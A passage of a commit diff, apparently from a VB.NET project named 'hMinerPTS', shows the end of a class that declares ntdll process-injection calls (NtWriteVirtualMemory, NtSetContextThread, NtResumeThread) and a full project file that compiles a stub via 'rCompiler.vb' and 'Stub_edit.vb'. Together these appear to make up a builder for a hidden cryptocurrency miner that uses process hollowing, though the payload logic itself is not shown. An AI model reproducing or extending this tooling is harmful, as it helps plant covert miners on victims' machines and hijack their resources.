Private Shared Function NtWriteVirtualMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As IntPtr) As Integer
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtGetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtSetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtResumeThread(ByVal hThread As IntPtr, ByVal SuspendCount As IntPtr) As UInteger
|
||||
End Function
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 361 KiB |
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 14 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 11 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 361 KiB |
@@ -0,0 +1,149 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">x86</Platform>
|
||||
<ProductVersion>
|
||||
</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{3E106CB2-D46A-4097-8ED8-66239559BFCF}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>hMinerPTS.My.MyApplication</StartupObject>
|
||||
<RootNamespace>hMinerPTS</RootNamespace>
|
||||
<AssemblyName>hMinerPTS</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>hMinerPTS.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>hMinerPTS.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ApplicationIcon>hMiner.ico</ApplicationIcon>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Drawing" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Windows.Forms" />
|
||||
<Import Include="System.Linq" />
|
||||
<Import Include="System.Xml.Linq" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="API\rCompiler.vb" />
|
||||
<Compile Include="Theme\FlatUI.vb">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Forms\frnMain.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Forms\frnMain.Designer.vb">
|
||||
<DependentUpon>frnMain.vb</DependentUpon>
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="API\License.vb">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="API\Settings.vb" />
|
||||
<Compile Include="Source\Stub_edit.vb" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Forms\frnMain.resx">
|
||||
<DependentUpon>frnMain.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
</EmbeddedResource>
|
||||
<None Include="RES\hMine.resources" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="img\build.png" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="img\build_hover.png" />
|
||||
<Content Include="hMiner.ico" />
|
||||
<Content Include="Source\Stub.txt" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
Reference in New Issue
Block a user